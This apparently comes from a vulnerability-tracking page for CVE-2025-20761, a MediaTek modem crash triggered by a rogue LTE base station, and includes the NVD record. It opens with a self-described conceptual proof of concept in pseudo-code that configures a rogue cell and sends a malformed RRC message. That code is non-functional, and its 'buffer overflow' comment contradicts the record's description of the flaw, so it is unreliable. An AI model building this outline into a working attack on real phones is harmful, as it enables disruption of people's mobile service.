CVE-2025-20761

// CVE-2025-20761 PoC - Rogue Base Station Attack // This PoC demonstrates the concept of triggering the modem crash // Requires: SDR hardware (USRP, HackRF), open-source base station software (OAI, srsLTE) // Step 1: Set up rogue base station const rogueBTS = { frequency: 2110e6, // Example: LTE Band 1 (FDD) bandwidth: 20e6, cellId: 0x123456, tac: 1, mcc: 460, // China Mobile mnc: 0 }; // Step 2: Configure malicious SIB (System Information Block) const maliciousSIB = { cellBarred: false, intraFreqReselection: true, q_RxLevMin: -140, p_Max: 23, // Trigger error handling vulnerability sib3: { /* normal parameters */ }, sib4: { /* normal parameters */ } }; // Step 3: Send crafted RRC messages to trigger crash function sendMaliciousRRCMsg() { const msg = { // Crafted message that triggers incorrect error handling messageType: 'RRCConnectionReconfiguration', criticalExtensions: { // Malformed configuration causing buffer overflow mobilityControlInfo: { targetPhysCellId: 0, carrierFreq: { dl_CarrierFreq: 0 }, // Missing or invalid parameters } } }; // Transmit to connected UE transmit(msg); } // Step 4: Monitor for crash indication function monitorCrash() { // Check if UE loses connection // If no response received, modem crash successful } // Note: This is a conceptual PoC. Actual exploitation requires: // - GNU Radio with relevant blocks // - srsLTE or OpenAirInterface // - Appropriate RF hardware // - Knowledge of target device's specific MediaTek modem firmware

{"cve": {"id": "CVE-2025-20761", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:41.680", "lastModified": "2026-02-17T15:16:17.167", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01311265; Issue ID: MSV-4655."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835t:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7FE7DBA-479C-402B-8485-9D14E70F25EB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {" ... 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